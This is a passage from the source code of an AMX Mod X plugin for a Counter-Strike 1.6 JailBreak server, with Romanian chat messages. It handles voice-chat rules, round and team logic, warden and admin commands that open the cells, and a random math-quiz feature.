}
return HAM_IGNORED
}
public player_touchweapon(id, ent)
{
static model[32], class[32]
if(g_BlockWeapons || g_GameMode || g_Duel || g_GunDayFortat || g_RoundEnd)
return HAM_SUPERCEDE
if(is_valid_ent(id) && is_user_alive(ent) && cs_get_user_team(ent) != CS_TEAM_CT && cs_get_user_team(ent) != CS_TEAM_T || g_GameMode == 9)
{
entity_get_string(id, EV_SZ_model, model, charsmax(model))
if(model[7] == 'w' && model[9] == 'h' && model[10] == 'e' && model[11] == 'g')
{
entity_get_string(id, EV_SZ_classname, class, charsmax(class))
if(equal(class, "weapon_hegrenade"))
remove_entity(id)
return HAM_SUPERCEDE
}
}
return HAM_IGNORED
}
public set_client_kv(id, const info[], const key[])
{
if(equal(key, "model"))
return FMRES_SUPERCEDE
return FMRES_IGNORED
}
public voice_listening(receiver, sender, bool:listen)
{
if((receiver == sender))
return FMRES_IGNORED
listen = true
if(get_user_flags(sender) & read_flags("d") || get_bit(g_PlayerVoice, sender))
{
engfunc(EngFunc_SetClientListening, receiver, sender, true)
return FMRES_SUPERCEDE
}
if(!is_user_alive(sender))
{
engfunc(EngFunc_SetClientListening, receiver, sender, false)
return FMRES_SUPERCEDE
}
if(sender == g_Simon && is_user_alive(sender))
{
engfunc(EngFunc_SetClientListening, receiver, sender, true)
return FMRES_SUPERCEDE
}
else if(cs_get_user_team(sender) == CS_TEAM_CT && is_user_alive(sender) && (g_Freeday || g_GameMode || g_PlayerLast))
{
engfunc(EngFunc_SetClientListening, receiver, sender, true)
return FMRES_SUPERCEDE
}
else if(sender == g_Simon && is_user_alive(sender) && (!g_Freeday || !g_GameMode))
{
engfunc(EngFunc_SetClientListening, receiver, sender, true)
return FMRES_SUPERCEDE
}
if(g_SimonTalking && (sender != g_Simon))
listen = false
else
{
static CsTeams:steam
steam = cs_get_user_team(sender)
switch(gc_TalkMode)
{
case(2):
{
listen = (steam == CS_TEAM_CT)
}
case(1):
{
listen = (steam == CS_TEAM_CT || steam == CS_TEAM_T)
}
}
}
switch(gc_VoiceBlock)
{
case(2):
{
if((sender != g_Simon) && (!get_bit(g_SimonVoice, sender) && gc_VoiceBlock))
{
engfunc(EngFunc_SetClientListening, receiver, sender, false)
return FMRES_SUPERCEDE
}
}
case(1):
{
if(!get_bit(g_SimonVoice, sender) && gc_VoiceBlock)
{
engfunc(EngFunc_SetClientListening, receiver, sender, false)
return FMRES_SUPERCEDE
}
}
}
engfunc(EngFunc_SetClientListening, receiver, sender, listen)
return FMRES_SUPERCEDE
}
public round_first()
{
g_JailDay = 0
set_cvar_num("sv_alltalk", 0)
g_GunDayFortat = 0;
g_Duel = 0
g_PlayerDuelT = 0
g_PlayerDuelCT = 0
g_isFirstRound = 1;
g_IsForcedOffline = 0;
set_cvar_num("mp_roundtime", 40)
set_cvar_num("mp_limitteams", 0)
set_cvar_num("mp_autoteambalance", 0)
}
public jbe_set_day_week(iWeek) g_JailDay = (g_JailDay > 6) ? 1 : iWeek;
public round_start()
{
if(g_RoundEnd)
return
team_count()
if(!g_IsForcedOffline)
{
if(get_playersnum() >= 11 && get_playersnum() < 29 && !g_isFirstRound)
{
if(float(g_TeamCount[CS_TEAM_T]) / 3 < float(g_TeamCount[CS_TEAM_CT]))
{
chatcolor(0, "!y[!gJailBreak!y] Deoarece sunt prea multi gardieni, se va da automat Gun Day in 10 sec!")
set_task(10.0, "GunDayFortat")
}
}
}
g_BlockWeapons = 0
new JailDay[256]
switch(g_JailDay)
{
case 0..1: formatex(JailDay, charsmax(JailDay), "Luni")
case 2: formatex(JailDay, charsmax(JailDay), "Marti")
case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
case 4: formatex(JailDay, charsmax(JailDay), "Joi")
case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
case 7: formatex(JailDay, charsmax(JailDay), "Duminica")
}
if(g_JailDay == 1) check_freeday(2487100)
if(!g_Simon && is_freeday())
{
g_Freeday = 1
jail_open()
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_ding.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
check_freeday(2487100)
}
else
set_task(160.0, "check_freeday", 2487100)
for(new i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i))
continue
set_task(3.0, "remove_freez", i)
FreezePlayers(1, 1);
}
server_cmd("amx_reloadadmins");
g_Duel = 0
g_PlayerDuelT = 0
g_PlayerDuelCT = 0
}
public remove_freez(id) FreezePlayers(1, 0);
public round_end()
{
static CsTeams:team
g_PlayerRevolt = 0
g_PlayerFreeday = 0
g_isLMS = 0
IsEventActivated = 0
g_PlayerLast = 0
g_BoxStarted = 0
g_Simon = 0
limitacutii = 0
//ImparteEchipele1 = 0
//ImparteEchipele2 = 0
g_ResetValues = 0;
g_SimonAllowed = 0
g_LastDenied = 0
g_BlockWeapons = 1
g_TeamCount[CS_TEAM_T] = 0
g_TeamCount[CS_TEAM_CT] = 0
g_Freeday = 0
g_RoundEnd = 1
g_CrowbarCount = 0
g_BhopON = false;
g_Duel = 0
g_PlayerIsInDuel = 0;
g_GunDayFortat = 0;
g_PlayerLast = 0
set_user_hitzones(0, 0, 255)
g_GameMode = 0
secundeday = 0
set_cvar_string("mp_friendlyfire", "0");
remove_task(2487100)
remove_task(4567);
remove_task(123)
remove_task(124)
remove_task(1234567)
g_DayRestrict--;
duel_end()
if(task_exists(2485100))
remove_task(2485100)
CreateFog(0, .clear = true);
for(new i = 1; i <= g_MaxClients; i++)
{
if(!is_user_connected(i))
continue
remove_task(i)
blockrevive[i] = false;
tagday[i] = false;
blockmedkit[i] = false;
ShopUsed[i] = false;
--blockgravity[i]
--blockviteza[i]
g_Gravity[i] = false;
g_Invizibil[i] = false;
--blockrevive[i]
u_knife[i] = 0;
g_VipFolosit[i] = false;
g_TeamSwitch[i] = 0;
g_Had_Crowbar[i] = g_Stab[i] = 0
menu_cancel(i)
g_Speed[i] = 0
set_pev(i, pev_maxspeed, 250.0)
set_user_noclip(i, 0)
set_user_godmode(i, 0)
set_user_gravity(i, 1.0)
player_strip_weapons(i)
team = cs_get_user_team(i)
set_user_rendering(i)
_RemoveEntity(i)
switch(team)
{
case(CS_TEAM_SPECTATOR, CS_TEAM_UNASSIGNED):
{
set_task(0.5, "server_teamselect_new", i)
}
}
}
new crowbar_ent
while((crowbar_ent=engfunc(EngFunc_FindEntityByString, crowbar_ent, "classname", gCrowbarClassname)) != 0)
engfunc(EngFunc_RemoveEntity, crowbar_ent)
}
public team_count()
{
static CsTeams:team, last
g_TeamCount[CS_TEAM_UNASSIGNED] = 0
g_TeamCount[CS_TEAM_T] = 0
g_TeamCount[CS_TEAM_CT] = 0
g_TeamCount[CS_TEAM_SPECTATOR] = 0
g_TeamAlive[CS_TEAM_UNASSIGNED] = 0
g_TeamAlive[CS_TEAM_T] = 0
g_TeamAlive[CS_TEAM_CT] = 0
g_TeamAlive[CS_TEAM_SPECTATOR] = 0
for(new i = 1; i <= g_MaxClients; i++)
{
if(is_user_connected(i))
{
team = cs_get_user_team(i)
g_TeamCount[team]++
g_PlayerTeam[i] = team
if(is_user_alive(i))
{
g_TeamAlive[team]++
if(team == CS_TEAM_T)
last = i
}
}
else
g_PlayerTeam[i] = CS_TEAM_UNASSIGNED
}
if(g_TeamAlive[CS_TEAM_T] == 1)
{
if(last != g_PlayerLast)
prisoner_last(last)
}
else
{
if(g_Duel || g_PlayerDuelT || g_PlayerDuelCT)
{
if(is_user_alive(g_PlayerDuelT))
{
set_user_rendering(g_PlayerDuelT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
player_strip_weapons(g_PlayerDuelT)
}
if(is_user_alive(g_PlayerDuelCT))
{
set_user_rendering(g_PlayerDuelCT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
player_strip_weapons(g_PlayerDuelCT)
}
}
g_PlayerLast = g_PlayerDuelT = g_PlayerDuelCT = g_Duel = 0
}
}
public cmd_voiceon(id)
{
client_cmd(id, "+voicerecord")
set_bit(g_SimonVoice, id)
if(g_Simon == id || is_user_admin(id))
set_bit(g_SimonTalking, id)
return PLUGIN_HANDLED
}
public cmd_voiceoff(id)
{
client_cmd(id, "-voicerecord")
clear_bit(g_SimonVoice, id)
if(g_Simon == id || is_user_admin(id))
clear_bit(g_SimonTalking, id)
return PLUGIN_HANDLED
}
public cmd_simon(id)
{
if(!is_user_connected(id))
return PLUGIN_HANDLED
static CsTeams:team, name[32]
team = cs_get_user_team(id)
if(g_SimonAllowed && !g_Freeday && is_user_alive(id) && team == CS_TEAM_CT && !g_Simon)
{
g_Simon = id
get_user_name(id, name, charsmax(name))
cs_set_player_model(id, "jbindvip0S")
set_pev(id, pev_body, 1)
g_PlayerSimon[id]--
g_isFirstRound = 0;
client_print( id, print_chat, "*** Acum esti simon, da-le comenzi PRIZONIERILOR ! ***");
cmd_simonmenu(id)
JailHudTask(0)
}
return PLUGIN_HANDLED
}
public cmd_open(id)
{
if(id == g_Simon || g_Freeday || g_GameMode || get_user_flags(id) & read_flags("c"))
{
if(is_user_alive(id) && is_user_connected(id))
{
jail_open()
new name[32]
get_user_name(id, name, 63)
set_hudmessage(0, 104, 139, -1.0, 0.74, 0, 6.0, 5.0)
if(g_Freeday || g_GunDayFortat)
show_hudmessage(0, "%s a dat open", name)
else
show_hudmessage(0, "%s a deschis celulele.", name)
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
}
}
return PLUGIN_HANDLED
}
public cmd_nomic(id)
{
static CsTeams:team
team = cs_get_user_team(id)
if(team == CS_TEAM_CT)
{
if(g_Simon == id)
g_Simon = 0
if(!is_user_admin(id))
set_bit(g_PlayerNomic, id)
user_silentkill(id)
cs_set_user_team(id, CS_TEAM_T)
}
return PLUGIN_HANDLED
}
public adm_nomic(id)
{
new arg[32], cmd[32];
read_argv(0,cmd,31);
read_argv(1,arg,31);
new player = cmd_target(id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF);
if(id == 0 || get_user_flags(id) & read_flags ("b"))
{
new name[32], name2[32];
get_user_name(id,name,31);
get_user_name(player,name2, 31);
if(is_user_connected(player))
{
cmd_nomic(player);
chatcolor(0, "!y[!gAdminControl!y] !tAdmin-ul !y[!g%s!y] !yl-a mutat la !gPrizonieri !ype !y[!g%s!y].", name, name2)
log_to_file("LogJailBreak.log","[JBE_NOMIC] Admin-ul [ %s ] l-a mutat la T pe [ %s ].", name, name2)
}
}
else
{
chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
return PLUGIN_CONTINUE
}
return PLUGIN_HANDLED;
}
public adm_open(id)
{
if(get_user_flags(id) & ADMIN_SLAY || get_user_flags(id) & read_flags("x"))
{
new nume[18]
get_user_name(id, nume, 17)
chatcolor(0, "!y[!gAdminControl!y] [!g%s!y] !ya folosit !y[!gjbe_open!y].", nume)
log_to_file("LogJailBreak.log","[JBE_OPEN] Admin-ul [ %s ] a deschis celulele prin JBE_OPEN ",nume)
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_open.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
jail_open()
}
else
chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
return PLUGIN_HANDLED
}
public adm_box(id)
{
if(g_PlayerLast)
{
chatcolor(id, "!t[!gBox!t] !yNu poti activa !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
return PLUGIN_HANDLED
}
if(get_user_flags(id) & ADMIN_SLAY)
{
new nume[16]
get_user_name(id, nume, 15)
chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_box!g].", nume)
log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX prin JBE_BOX ", nume)
cmd_box(id)
}
else
chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
return PLUGIN_HANDLED
}
public adm_boxoff(id)
{
if(g_PlayerLast)
{
chatcolor(id, "!t[!gBox!t] !yNu poti dezactiva !tBox,!y cand este !gUltimul Prizonier!y, !tin !gviata !y!")
return PLUGIN_HANDLED
}
if(get_user_flags(id) & ADMIN_SLAY)
{
new nume[16]
get_user_name(id, nume, 15)
chatcolor(0, "!y[!gAdminControl!y]!y Admin-ul !y[!g%s!y] !ya folosit !g[!yjbe_boxoff!g].", nume)
log_to_file("LogJailBreak.log","[ JBE_BOX ] Admin-ul [ %s ] a dat BOX-OFF prin JBE_BOXOFF ", nume)
cmd_boxoff(id)
}
else
chatcolor(id, "!y[!gAdminControl!y] !yNu ai !gacces !yla aceasta comanda.")
return PLUGIN_HANDLED
}
public prisoner_last(id)
{
if(g_RoundEnd || g_TeamAlive[CS_TEAM_CT] <= 0)
return PLUGIN_HANDLED
static name[32]
if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T)
{
get_user_name(id, name, charsmax(name))
g_PlayerLast = id
if(g_isLMS && !g_GameMode)
{
chatcolor(0, "!y[!gJailBreak!y] !g%s !ya castigat LMS-ul! A primit 150 credite.", name)
user_silentkill(id)
credite[id]=credite[id]+150
}
else if(!g_GameMode && !g_isLMS)
{
player_hudmessage(0, 6, 5.0, {255, 255, 0}, "%s este ultimul prizonier", name)
g_PlayerIsInDuel = 0;
g_BhopON = false;
cmd_lastrequest(id)
}
else if(g_GameMode && !g_isLMS) {
chatcolor(0, "!y[!gJailBreak!y] !g%s !ya castigat DAY-ul! El a primit 30 credite.", name)
user_silentkill(id)
credite[id]=credite[id]+30
}
g_LastDenied = 0
}
return PLUGIN_HANDLED
}
public revolt_start()
{
if(!g_GameMode && !g_PlayerLast)
{
client_cmd(0,"speak ambience/siren")
set_task(6.0, "stop_sound")
}
}
public stop_sound(task) client_cmd(0, "stopsound")
public getGameDescription()
{
get_pcvar_string(PreText,TimeleftString,TimeleftStringLen);
new len = strlen(TimeleftString);
if (!IsEventActivated) {
len += formatex(TimeleftString[len], TimeleftStringLen - len, "JAILBREAK")
}
else if(g_Freeday) {
len += formatex(TimeleftString[len], TimeleftStringLen - len,"FREEDAY")
}
get_pcvar_string(PostText,TimeleftString[len],TimeleftStringLen - len);
forward_return(FMV_STRING,TimeleftString);
return FMRES_SUPERCEDE;
}
public JailHudTask(task)
{
static i, n
new name[32], simon[32], last[32], wanted[1024], freeday[1024], DayName[256], numeduelct[32], szStatus[64], JailDay[256]
n = 0
formatex(wanted, charsmax(wanted), "Prizonieri cautati:")
n = strlen(wanted)
for(i = 0; i < g_MaxClients; i++)
{
if(get_bit(g_PlayerWanted, i) && is_user_alive(i) && n < charsmax(wanted))
{
get_user_name(i, name, charsmax(name))
n += copy(wanted[n], charsmax(wanted) - n, "^n^t")
n += copy(wanted[n], charsmax(wanted) - n, name)
}
}
n = 0
formatex(freeday, charsmax(freeday), "%L", LANG_SERVER, "JBE_PRISONER_FREEDAY")
n = strlen(freeday)
for(i = 0; i < g_MaxClients; i++)
{
if(get_bit(g_PlayerFreeday, i) && is_user_alive(i) && n < charsmax(freeday))
{
get_user_name(i, name, charsmax(name))
n += copy(freeday[n], charsmax(freeday) - n, "^n^t")
n += copy(freeday[n], charsmax(freeday) - n, name)
}
}
team_count()
formatex(szStatus, charsmax(szStatus), "Prizonieri:(%i/%d) | Gardieni:(%i/%d) | Total:(%d/32)", g_TeamAlive[CS_TEAM_T], GetPlayersNum( 1, 2 ),g_TeamAlive[CS_TEAM_CT],GetPlayersNum( 2, 2 ), get_playersnum())
message_begin(MSG_BROADCAST, get_user_msgid("StatusText"), {0,0,0}, 0)
write_byte(0)
write_string(szStatus)
message_end()
switch(g_JailDay)
{
case 0: formatex(JailDay, charsmax(JailDay), "Luni")
case 1: formatex(JailDay, charsmax(JailDay), "Luni")
case 2: formatex(JailDay, charsmax(JailDay), "Marti")
case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
case 4: formatex(JailDay, charsmax(JailDay), "Joi")
case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
}
if(secundeday >= 2 && g_GameMode)
{
--secundeday;
formatex(DayName, charsmax(DayName), "%s(%d:%02d)", g_DayName[g_GameMode], (secundeday / 60), (secundeday % 60))
}
else if(g_Freeday == 1)
formatex(DayName, charsmax(DayName), "Zi Libera")
else if(secundeday <= 1 && g_GameMode >=1) kill_all()
else
formatex(DayName, charsmax(DayName), "Nu s-a ales Day(Zi Normala)")
get_user_name(g_PlayerLast, last, charsmax(last))
get_user_name(g_Simon, simon, charsmax(simon))
get_user_name(g_PlayerDuelCT, numeduelct, charsmax(numeduelct))
if(secundeday <= 0)
{
if(g_Simon)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "%s este Simon :: JailBreak(%s) :: %s", simon, JailDay, DayName)
else if(g_Freeday && g_Simon == 0)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: %s", JailDay, DayName)
else
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: %s", JailDay, DayName)
}
else if(secundeday >= 1)
{
if(g_Simon)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "%s este Simon :: JailBreak(%s) :: %s", simon, JailDay, DayName)
else
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: %s ", JailDay, DayName)
}
if(g_PlayerLast)
{
if(g_Simon)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "%s este Simon :: JailBreak(%s) :: %s ^nUltimul prizonier este: %s", simon, JailDay, DayName, last)
else
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: %s ^nUltimul prizonier este: %s", JailDay, DayName, last)
}
if(g_GunDayFortat)
{
if(g_Simon)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "%s este Simon :: JailBreak(%s) :: War Day(Fortat)", simon, JailDay)
else
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: War Day(Fortat)", JailDay)
}
if(g_PlayerDuelCT && g_PlayerDuelT)
{
if(g_Simon)
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "%s este Simon :: JailBreak(%s) :: %s ^nDuel: %s vs %s", simon, JailDay, DayName, last, numeduelct)
else
player_hudmessage(0, 5, HUD_DELAY + 1.0, {25, 200, 225}, "Nu este Simon :: JailBreak(%s) :: %s ^nDuel: %s vs %s", JailDay, DayName, last, numeduelct)
}
if(!(g_PlayerLast && !g_GameMode))
{
if(g_PlayerWanted)
player_hudmessage(0, 3, HUD_DELAY + 1.0, {0, 255, 255}, "%s", wanted)
else if(g_PlayerRevolt)
player_hudmessage(0, 3, HUD_DELAY + 1.0, {255, 25, 50}, "%L", LANG_SERVER, "JBE_PRISONER_REVOLT")
}
if(!(g_Freeday))
{
if(g_PlayerFreeday >= 1)
player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 255, 0}, "%s", freeday)
else
player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 0, 0}, "%L", LANG_SERVER, "JBE_PRISONER_NO_FREEDAY")
}
gc_TalkMode = 2
gc_VoiceBlock = 2
gc_SimonSteps = 1
}
GetPlayersNum(iTeam, iAlive)
{
new iPlayersNum;
for( new iPlayers = get_maxplayers( ); iPlayers > 0; iPlayers-- )
{
if( !is_user_connected( iPlayers ) )
continue;
if(get_user_team( iPlayers ) == iTeam && ( is_user_alive( iPlayers ) == iAlive || iAlive == 2 ) )
iPlayersNum++;
}
return iPlayersNum;
}
public check_freeday(task)
{
static i
if(g_GameMode)
return PLUGIN_HANDLED
if(!g_Simon && !g_PlayerLast)
{
g_Freeday = 1
for(i = 1; i <= g_MaxClients; i++)
if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
{
if(!g_Simon) freeday_set(0, i)
}
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_ding.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
set_task(180.0, "freeday_end", 2485100)
}
return PLUGIN_HANDLED
}
public freeday_end(task)
{
if(is_freeday())
{
emit_sound(0, CHAN_AUTO, "jb_sounds/jb_ding.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
player_hudmessage(0, 8, 3.0, {255, 0, 255}, "Ziua libera sa terminat!")
for(new i = 1; i <= g_MaxClients; i++)
{
if(g_PlayerTeam[i] == CS_TEAM_T && is_user_alive(i))
{
user_silentkill(i)
}
}
}
}
public setup_buttons()
{
new ent[3]
new Float:origin[3]
new info[32]
new pos
while((pos <= sizeof(g_Buttons)) && (ent[0] = engfunc(EngFunc_FindEntityByString, ent[0], "classname", "info_player_deathmatch")))
{
pev(ent[0], pev_origin, origin)
while((ent[1] = engfunc(EngFunc_FindEntityInSphere, ent[1], origin, CELL_RADIUS)))
{
if(!is_valid_ent(ent[1]))
continue
entity_get_string(ent[1], EV_SZ_classname, info, charsmax(info))
if(!equal(info, "func_door"))
continue
entity_get_string(ent[1], EV_SZ_targetname, info, charsmax(info))
if(!info[0])
continue
if(TrieKeyExists(g_CellManagers, info))
{
TrieGetCell(g_CellManagers, info, ent[2])
}
else
{
ent[2] = engfunc(EngFunc_FindEntityByString, 0, "target", info)
}
if(is_valid_ent(ent[2]) && (in_array(ent[2], g_Buttons, sizeof(g_Buttons)) < 0))
{
g_Buttons[pos] = ent[2]
pos++
break
}
}
}
TrieDestroy(g_CellManagers)
}
public jail_open()
{
static i
for(i = 0; i < sizeof(g_Buttons); i++)
{
if(g_Buttons[i])
{
ExecuteHamB(Ham_Use, g_Buttons[i], 0, 0, 1, 1.0)
entity_set_float(g_Buttons[i], EV_FL_frame, 0.0)
}
}
}
public plugin_natives()
{
register_native("jb_is_user_last", "native_is_last", 1)
register_native("jb_is_user_simon", "native_is_simon", 1)
register_native("is_free_day", "native_is_free_day", 1)
register_native("is_day", "native_is_day", 1)
register_native("jb_open_glowmenu", "cmd_glowmenu", 1)
register_native("jb_menu_setsimon", "native_set_simonteam", 1);
register_native("jb_get_tigari", "native_get_tigari", 1)
register_native("jb_set_tigari", "native_set_user_tigari", 1)
register_native("OpenShopMenu", "cmd_shopmenu", 1)
}
public native_set_simonteam(id) cmd_simon(id)
public native_is_day() return g_GameMode
public native_is_free_day() return g_Freeday
public native_is_last() return g_PlayerLast
public native_is_simon(id)
{
if(cs_get_user_team(id) != CS_TEAM_CT)
return 0
return g_Simon == id? 1 : 0
}
public msg_motd(msgid, dest, id)
{
return PLUGIN_HANDLED
}
public AutoStartQuest() StartQuest()
public StartQuest()
{
g_bQuestAlive=true;
new num[5], num2[5], i;
for(i=0; i <= 4; i++)
num[i] = random_num(0, 50)
for(i=0; i <= 4; i++)
num2[i] = random_num(1, 5)
new m_iPart = random_num(1, 4),
m_iType = random_num(1, m_iPart == 4 ? 3:4)
switch(m_iPart)
{
case 1:
{
switch(m_iType)
{
case 1:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y+ !g%i !y= !g?", num[0], num[1], num[2])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i + %i", num[0], num[1], num[2])
g_iAnswer = num[0] + num[1] + num[2];
}
case 2:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y- !g%i !y- !g%i !y= !g?", num[0], num[1], num[2])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i - %i - %i", num[0], num[1], num[2])
g_iAnswer = num[0] - num[1] - num[2];
}
case 3:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y- !g%i !y= !g?", num[0], num[1], num[2])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i - %i", num[0], num[1], num[2])
g_iAnswer = num[0] + num[1] - num[2];
}
case 4:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y* !g%i !y= !g?", num[0], num2[1], num2[0])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i * %i", num[0], num2[1], num2[0])
g_iAnswer = num[0] + num2[1] * num2[0];
}
case 5:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y* !g%i !y* !g%i !y= !g?", num[0], num2[1], num2[0])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i * %i * %i", num2[0], num2[1], num2[2])
g_iAnswer = num2[0] * num2[1] * num2[2];
}
}
}
case 2:
{
switch(m_iType)
{
case 1:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y+ !g%i !y+ !g%i !y= !g?", num[0], num[1], num[2], num[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i + %i + %i", num[0], num[1], num[2], num[3])
g_iAnswer = num[0] + num[1] + num[2] + num[3];
}
case 2:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y- !g%i !y- !g%i !y- !g%i !y= !g?", num[0], num[1], num[2], num[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i - %i - %i - %i", num[0], num[1], num[2], num[3])
g_iAnswer = num[0] - num[1] - num[2] - num[3];
}
case 3:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y- !g%i !y+ !g%i !y= !g?", num[0], num[1], num[2], num[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i - %i + %i", num[0], num[1], num[2], num[3])
g_iAnswer = num[0] + num[1] - num[2] + num[3];
}
case 4:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y+ !g%i !y* !g%i !y= !g?", num[0], num[1], num2[2], num2[0])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i + %i * %i", num[0], num[1], num2[2], num2[0])
g_iAnswer = num[0] + num[1] + num2[2] * num2[0];
}
case 5:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y* !g%i !y* !g%i !y* !g%i !y= !g?", num2[0], num2[1], num2[2] , num2[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i * %i * %i * %i", num2[0], num2[1], num2[2] , num2[3])
g_iAnswer = num2[0] * num2[1] * num2[2] * num2[3]
}
}
}
case 3:
{
switch(m_iType)
{
case 1:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y+ !g%i !y+ !g%i !y+ !g%i !y= !g?", num[0], num[1], num[2], num[3], num[4])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i + %i + %i + %i", num[0], num[1], num[2], num[3], num[4])
g_iAnswer = num[0] + num[1] + num[2] + num[3] + num[4];
}
case 2:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y- !g%i !y- !g%i !y- !g%i !y- !g%i !y= !g?", num[0], num[1], num[2], num[3], num[4])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i - %i - %i - %i - %i", num[0], num[1], num[2], num[3], num[4])
g_iAnswer = num[0] - num[1] - num[2] - num[3] - num[4];
}
case 3:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y- !g%i !y+ !g%i !y- !g%i !y= !g?", num[0], num[1], num[2], num[3], num[4])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i - %i + %i - %i", num[0], num[1], num[2], num[3], num[4])
g_iAnswer = num[0] + num[1] - num[2] + num[3] - num[4];
}
case 4:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y+ !g%i !y+ !g%i !y* !g%i !y+ !g%i !y= !g?", num[0], num[1], num2[0], num2[1], num[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i + %i + %i * %i + %i", num[0], num[1], num2[0], num2[1], num[3])
g_iAnswer = num[0] + num[1] + num2[0] * num2[1] + num[3];
}
case 5:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y* !g%i !y* !g%i !y* !g%i !y/ !g%i !y= !g?", num2[0], num2[1], num2[2] , num2[3], num2[1])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i * %i * %i * %i / %i", num2[0], num2[1], num2[2] , num2[3], num2[1])
g_iAnswer = num2[0] * num2[1] * num2[2] * num2[3] / num2[1];
}
}
}
case 4:
{
switch(m_iType)
{
case 1:
{
chatcolor(0, "!y[!gMath Test!y] !y(!g%i !y+ !g%i!y) !y* !y(!g%i !y+ !g%i!y) !y= !g?", num2[0], num2[1], num2[2], num2[3])
formatex(g_strQuestion, charsmax(g_strQuestion), "(%i + %i) * (%i + %i)", num2[0], num2[1], num2[2], num2[3])
g_iAnswer =(num2[0] + num2[1]) * (num2[2] + num2[3])
}
case 2:
{
chatcolor(0, "!y[!gMath Test!y] !g%i !y* !g%i !y- !g%i !y* !g%i !y= !g?", num[0], num2[0], num[1], num2[1])
formatex(g_strQuestion, charsmax(g_strQuestion), "%i * %i - %i * %i", num[0], num2[0], num[1], num2[1])
g_iAnswer = num[0] * num2[0] - num[1] * num2[1]
}
case 3:
{
chatcolor(0, "!y[!gMath Test!y] !y(!g%i !y+ !g%i !y+ !g%i!y) !y* !g%i !y= !g?", num2[0], num2[1], num2[3], num2[4])
formatex(g_strQuestion, charsmax(g_strQuestion), "(%i + %i + %i) * %i", num2[0], num2[1], num2[3], num2[4])
g_iAnswer =(num2[0] + num2[1] + num2[3]) * num2[4]
}
}
}
}
return PLUGIN_HANDLED;
}
public ClCmd_CheckAnswer(id)
{
if (!is_user_connected(id))
return PLUGIN_HANDLED
if(g_bQuestAlive)
{
static m_strText[12], m_strAnswer[12];
read_args(m_strText, charsmax(m_strText))
remove_quotes(m_strText);
num_to_str(g_iAnswer, m_strAnswer, charsmax(m_strAnswer))
